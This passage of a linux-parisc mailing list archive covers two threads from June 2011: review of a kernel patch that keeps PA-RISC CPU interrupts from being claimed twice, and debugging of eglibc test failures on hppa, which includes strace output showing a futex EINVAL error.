	Sat, 11 Jun 2011 16:20:10 -0400
Original-Received: (qmail 19199 invoked from network); 11 Jun 2011 20:20:08 -0000
Original-Received: from dslb-092-077-070-136.pools.arcor-ip.net ([::ffff:92.77.70.136] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@nrc-cnrc.gc.ca>; Sat, 11 Jun 2011 22:20:08 +0200
User-Agent: KMail/4.6.0 (Linux/2.6.37-12-desktop; KDE/4.6.4; i686; ; )
In-Reply-To: <20110611185524.GA1369@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3781>


--nextPart4496845.Rk5gIvoysk
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

John David Anglin wrote:
> The CPU irqs (timer and IPI) are not shared and only need to be claimed
> once.  A mismatch error occurs if they are claimed more than once.
> 
> Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> 
> Dave

It's a bad idea to put the patch behind your signature as it then get's 
stripped by mailers when replying. Anyway...

>         int i;
> +#ifdef CONFIG_SMP
> +       static int irqs_claimed;
> +       if (irqs_claimed)
> +               return;
> +       irqs_claimed = 1;
> +#endif

Shouldn't this be bool then? Now that we have it.

Eike
--nextPart4496845.Rk5gIvoysk
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3zzf4ACgkQXKSJPmm5/E7J/QCcCKh3690HtK+yQi3qYA4xWuhW
kpcAn11FHdbbXfgzax6GsZsN5LSf/JZb
=R92a
-----END PGP SIGNATURE-----

--nextPart4496845.Rk5gIvoysk--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc, don't claim cpu irqs more than once
Date: Sat, 11 Jun 2011 16:56:46 -0400
Organization: nrc.ca
Lines: 24
Approved: news@gmane.org
Message-ID: <20110611205646.GA26431@hiauly1.hia.nrc.ca>
References: <20110611185524.GA1369@hiauly1.hia.nrc.ca> <1617203.1AoiWjTfrU@donald.sf-tec.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307825819 16388 80.91.229.12 (11 Jun 2011 20:56:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Jun 2011 20:56:59 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 22:56:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVVEi-0005Qf-Ry
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 22:56:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751760Ab1FKU4u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 16:56:50 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2699 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751269Ab1FKU4u (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jun 2011 16:56:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 183CD5322; Sat, 11 Jun 2011 16:56:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1617203.1AoiWjTfrU@donald.sf-tec.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3782>

On Sat, 11 Jun 2011, Rolf Eike Beer wrote:

> >         int i;
> > +#ifdef CONFIG_SMP
> > +       static int irqs_claimed;
> > +       if (irqs_claimed)
> > +               return;
> > +       irqs_claimed = 1;
> > +#endif
> 
> Shouldn't this be bool then? Now that we have it.

Yes but I would like to here with this approach is acceptable.  Another
alternative might be a function init_IRQ_SMP that doesn't call claim_cpu_irqs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc, don't claim cpu irqs more than once
Date: Sat, 11 Jun 2011 21:46:41 -0400
Organization: nrc.ca
Lines: 44
Approved: news@gmane.org
Message-ID: <20110612014640.GA19605@hiauly1.hia.nrc.ca>
References: <20110611185524.GA1369@hiauly1.hia.nrc.ca> <1617203.1AoiWjTfrU@donald.sf-tec.de> <20110611205646.GA26431@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307843210 27267 80.91.229.12 (12 Jun 2011 01:46:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Jun 2011 01:46:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 12 03:46:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVZlF-00077M-0z
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Jun 2011 03:46:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752739Ab1FLBqo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 21:46:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2714 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752286Ab1FLBqn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jun 2011 21:46:43 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0B6045369; Sat, 11 Jun 2011 21:46:41 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110611205646.GA26431@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3783>

On Sat, 11 Jun 2011, John David Anglin wrote:

> > Shouldn't this be bool then? Now that we have it.
> 
> Yes but I would like to here with this approach is acceptable.  Another
> alternative might be a function init_IRQ_SMP that doesn't call claim_cpu_irqs.

Looking at this a bit more, I believe this change is better.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..0299d63 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Sun, 12 Jun 2011 14:47:20 -0400
Organization: nrc.ca
Lines: 102
Approved: news@gmane.org
Message-ID: <20110612184719.GA13337@hiauly1.hia.nrc.ca>
References: <20110608013308.GA15282@hiauly1.hia.nrc.ca> <BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307904449 14980 80.91.229.12 (12 Jun 2011 18:47:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Jun 2011 18:47:29 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 12 20:47:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVpgy-0002t0-Ul
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Jun 2011 20:47:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751638Ab1FLSrY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jun 2011 14:47:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2739 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751415Ab1FLSrX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jun 2011 14:47:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 727725372; Sun, 12 Jun 2011 14:47:20 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3784>

On Wed, 08 Jun 2011, Carlos O'Donell wrote:

> I have a pile of free time next week and I hope to dedicate some time
> to cleaning up the glibc testsuite.
> 
> > Thoughts?
> 
> Yes, the "warning: Unable to find libthread_db matching inferior's
> thread library, thread debugging will not be available." means you
> can't debug threads until you preload the new libc's
> libthread_db.so.1.

This is what I see with libthread_db.so.1 preloaded:

dave@mx3210:~/debian/glibc/eglibc-2.13$ strace /home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/rt/tst-cputimer1
execve("/home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/rt/tst-cputimer1", ["/home/dave/debian/glibc/eglibc-2"...], [/* 21 vars */]) = 0
brk(0)                                  = 0x16000
newuname({sys="Linux", node="mx3210", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
open("/home/dave/debian/glibc/eglibc-2.13/build-tree/hppa-libc/nptl_db/libthread_db.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\23\320\0\0\0004"..., 512) = 512
fstat64(3, {st_mode=0, st_size=4294967297000, ...}) = 0
mmap(NULL, 33776, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x403f8000
mmap(0x40400000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8000) = 0x40400000
close(3)                                = 0
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 41129, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40269000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/librt.so.1", O_RDONLY)       = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\33\30\0\0\0004"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 34464, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40244000
mmap(0x4024c000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8000) = 0x4024c000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libpthread.so.0", O_RDONLY)  = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0W|\0\0\0004"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40001000
mmap(NULL, 125460, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x407eb000
mmap(0x40807000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c000) = 0x40807000
mmap(0x40808000, 6676, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40808000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\0\350\0\0\0004"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1448056, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40279000
mmap(0x403d2000, 24576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x159000) = 0x403d2000
mmap(0x403d8000, 10360, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x403d8000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40002000
mprotect(0x40279000, 1413120, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40003000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40006000
mprotect(0x40279000, 1413120, PROT_READ|PROT_EXEC) = 0
munmap(0x40269000, 41129)               = 0
set_tid_address(0x40001ce8, 0xfdffb020, 0xfdffb028, 0xfdffb028, 0x407ef9b0) = 16602
set_robust_list(0x40001cf0, 0xc)        = 0
futex(0xfdffb2c8, FUTEX_WAKE_PRIVATE, 1) = 0
futex(0xfdffb2c8, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) = -1 EINVAL (Invalid argument)
rt_sigaction(SIGRTMIN, {0x4080726a, [], SA_SIGINFO}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x40807272, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=32768*1024, rlim_max=32768*1024}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40001ce8) = 16603
rt_sigaction(SIGALRM, {0x14156, [], SA_RESTART}, {SIG_DFL, [RTMIN RT_1 RT_2 RT_5 RT_8 RT_26], 0}, 8) = 0
alarm(15)                               = 0
clock_gettime returned timespec = { 0, 0 }
clock_getres returned timespec = { 0, 1 }
rt_sigaction(SIGINT, {0x14156, [], SA_RESTART}, {SIG_DFL, [RTMIN RT_1 RT_2 RT_5 RT_8 RT_26], 0}, 8) = 0
waitpid(16603, [{WIFSIGNALED(s) && WTERMSIG(s) == 92 && WCOREDUMP(s)} | 0x4c800], 0) = -512
--- SIGALRM (Alarm clock) @ 0 (0) ---
kill(16603, SIGKILL)                    = 0
waitpid(16603, 0xfdffb748, WNOHANG|WSTOPPED) = 0
nanosleep({0, 100000000}, NULL)         = -516
--- SIGCHLD (Child exited) @ 0 (0) ---
restart_syscall(<... resuming interrupted call ...>) = 0
waitpid(16603, [{WIFSIGNALED(s) && WTERMSIG(s) == SIGKILL}], WNOHANG|WSTOPPED) = 16603
write(2, "Timed out: killed the child proc"..., 36Timed out: killed the child process
) = 36
exit_group(1)                           = ?

There seems to be a problem with this futex call:
futex(0xfdffb2c8, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) =
-1 EINVAL (Invalid argument)

and the clock_gettime return seems wierd.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Sun, 12 Jun 2011 15:57:06 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <BANLkTi=ntF31tACKcowCtLDL728N3hNcvA@mail.gmail.com>
References: <20110608013308.GA15282@hiauly1.hia.nrc.ca>
	<BANLkTi=iXdMa2Vmv6-S2TPZCTp-S-G5z7Q@mail.gmail.com>
	<20110612184719.GA13337@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1307908634 3824 80.91.229.12 (12 Jun 2011 19:57:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Jun 2011 19:57:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 12 21:57:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVqmT-0004GX-N8
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Jun 2011 21:57:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752834Ab1FLT5I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jun 2011 15:57:08 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:64099 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752767Ab1FLT5I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jun 2011 15:57:08 -0400
Original-Received: by bwz15 with SMTP id 15so3269429bwz.19
        for <linux-parisc@vger.kernel.org>; Sun, 12 Jun 2011 12:57:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=iuLDdjuc0ACq4Y53T14ECH4s9mTrcgHhLh97DhSjcuU=;
        b=N1fs3utNG8A4OORTxc0ijsTITY0Rt+PUSYKFANOC1oUL3xwdyKXvlwFSGok+JHW+lH
         R/9kbvdI0ZW+yBnIZ1WphoHjmx68+BNQ58+FYy3OtK26kGrD9XG7Rxp/RY2SP1Y7gDfy
         o4sLxEhgwDLzw9MHZUU4hAnXJlLodHOdJugoA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=uz4lcRUoWFcLcBM0sZ9qvPTfTXpUh1GMJbjH6IHZQIgWWHP75uc7CvGCVun6oWPJD2
         olabtGcfmWWSWQZuHjnIVoXUtJcJAR2ATCKsTaL81G/Xl72igwJ+BULFDwSRs6r4iK1K
         vw+lD1P/2fgoidIw60Pkn6UVmpVgL7Yy/21f0=
Original-Received: by 10.204.39.68 with SMTP id f4mr4030381bke.17.1307908626917; Sun,
 12 Jun 2011 12:57:06 -0700 (PDT)
Original-Received: by 10.204.46.151 with HTTP; Sun, 12 Jun 2011 12:57:06 -0700 (PDT)
In-Reply-To: <20110612184719.GA13337@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: prCs4Wg-rV5jGNkEvMn1emizb8Q
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3785
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3785>

On Sun, Jun 12, 2011 at 2:47 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> There seems to be a problem with this futex call:
> futex(0xfdffb2c8, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) =
> -1 EINVAL (Invalid argument)
>
> and the clock_gettime return seems wierd.

Thanks, can you construct a test case from this that I can use to
debug the problem? If not, then I'll look at this after I look at the
testsuite failures.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Sun, 12 Jun 2011 16:38:34 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20110612203835.A675F5372@hiauly1.hia.nrc.ca>
References: <BANLkTi=ntF31tACKcowCtLDL728N3hNcvA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1307911125 16278 80.91.229.12 (12 Jun 2011 20:38:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Jun 2011 20:38:45 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 12 22:38:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVrQd-0002PL-Dk
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Jun 2011 22:38:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751186Ab1FLUii (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jun 2011 16:38:38 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2745 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751208Ab1FLUih (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jun 2011 16:38:37 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A675F5372; Sun, 12 Jun 2011 16:38:35 -0400 (EDT)
In-Reply-To: <BANLkTi=ntF31tACKcowCtLDL728N3hNcvA@mail.gmail.com> from "Carlos O'Donell" at Jun 12, 2011 03:57:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3786
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3786>

> On Sun, Jun 12, 2011 at 2:47 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > There seems to be a problem with this futex call:
> > futex(0xfdffb2c8, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) =
> > -1 EINVAL (Invalid argument)
> >
> > and the clock_gettime return seems wierd.
> 
> Thanks, can you construct a test case from this that I can use to
> debug the problem? If not, then I'll look at this after I look at the
> testsuite failures.

This is one of the testsuite failures (tst-timer4.c).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: eglibc_2.13-5 on hppa
Date: Sun, 12 Jun 2011 16:52:57 -0400
Lines: 25
Approved: news@gmane.org
